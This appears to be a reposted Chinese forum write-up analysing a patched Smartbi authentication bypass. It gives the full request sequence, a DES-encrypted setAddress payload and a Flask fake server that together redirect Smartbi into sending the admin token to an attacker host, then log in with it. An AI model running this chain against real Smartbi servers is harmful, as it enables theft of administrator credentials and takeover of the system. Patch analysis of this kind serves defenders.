smartbi token回调获取登录凭证漏洞(二)

打印 上一主题 下一主题

主题 853|帖子 853|积分 2559

2023年8月8日Smartbi官方又修复了一处权限绕过漏洞。该漏洞是上一个特定场景下设置Token回调地址漏洞的绕过,未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。
0x01 分析过程

阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setAddress有关
[img=720,480.6741573033708]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309011448825.png[/img]
是上一个漏洞的绕过,是发现了/smartbix/api/monitor/setAddress接口可以未授权设置SERVICE_ADDRESS、ENGINE_ADDRESS,只不过多了一步DES解密的过程(这个上次看的时候就发现了,但是由于将c_address、和u_address看成同一个了以为不能利用,只能说很多师傅都在看smartbi,只要一有新的洞,绕过很快就出来了)
[img=720,577.28285077951]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309011449439.png[/img]
查看CommonUtil.desDecode方法,其实也只是进行DES解密,密钥为isPassword
[img=720,126.17647058823529]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309011449600.png[/img]
故只需要按照该算法进行加密恶意参数就可以设置SERVICE_ADDRESS、ENGINE_ADDRESS为伪造服务器地址,用于接收token
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
0x02 分析结果

第一步,获取之前的EngineAddress

首先通过/smartbi/smartbix/api/monitor/engineInfo/接口获取之前的engineAddress、serviceAddress这是因为要进行修改设置,需要提供之前的地址
  1. POST /smartbi/smartbix/api/monitor/engineInfo/ HTTP/1.1
  2. Host: 127.0.0.1:18080
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  8. Connection: close
  9. Content-Length: 4
复制代码
第二步,设置EngineAddress为攻击者机器上的伪造http服务地址

通过/smartbi/smartbix/api/monitor/setAddress/接口设置engineAddress为fake server地址该接口的参数需要进行DES加密,参数明文为
  1. {
  2.   "type": "experiment",
  3.   "c_address": "http://10X.0.0.1:8010",
  4.   "u_address": "http://10x.0.0.55:8000"
  5. }
复制代码
[img=720,100.8098833218943]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309011449722.png[/img]
c_address填写上述第一步获取得到的engineAddress,加密得到密文, u_address设置为新的engineAddress,可以理解为用于接收token的fake server地址,此处设置为http://10x.0.0.55:8000,这个是一个用flask搭建的fake server,上面只注册了/api/v1/configs/engine/smartbitoken路由
  1. from flask import Flask,jsonify,request
  2. app = Flask(__name__)
  3. @app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
  4. def hello():
  5.    print(request.json)
  6.    return jsonify(hi="jello")
  7. if __name__ == "__main__":
  8.    app.run(host="0.0.0.0",port=8000)
复制代码
[img=720,331.30827067669173]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309011449462.png[/img]
  1. POST /smartbi/smartbix/api/monitor/setAddress/ HTTP/1.1
  2. Host: 127.0.0.1:18080
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  8. Connection: close
  9. Content-Length: 208
  10. 312E8684378EBDFF7E798B0BCCC45588EF682890F6F1701AF9D9416B4E357E80A1E8622D15B57E607DBBA3017ECED7C2CA66C54FD4D13B5C1F284652B5D82487F9D9416B4E357E80A1E8622D15B57E60A18C8967740045322142EE017FD0F4E9559184E27B9F8372
复制代码
[img=720,240.98360655737704]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309011449409.png[/img]
从响应来看返回true,即修改成功
第三步,触发smartbi向刚刚设置的EngineAddress外发token
  1. POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
  2. Host: 127.0.0.1:18080
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Accept-Encoding: gzip, deflate
  8. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  9. Connection: close
  10. Content-Length: 10
  11. experiment
复制代码
[img=720,245.57758031442242]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309011449314.png[/img]
发送相关请求后,即可在我们的fake server上面看到了携带token的请求
[img=720,201.32231404958677]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309011449853.png[/img]
第四步,使用上面获取的token进行登录
  1. POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
  2. Host: 127.0.0.1:18080
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  8. Connection: close
  9. Content-Length: 47
  10. admin_xxxxxxxxxxxxxxxxx84f50082
复制代码
返回true表示登录成功,其中的cookie就是admin账户的合法凭证
更多网安技能的在线实操练习,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

立聪堂德州十三局店

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表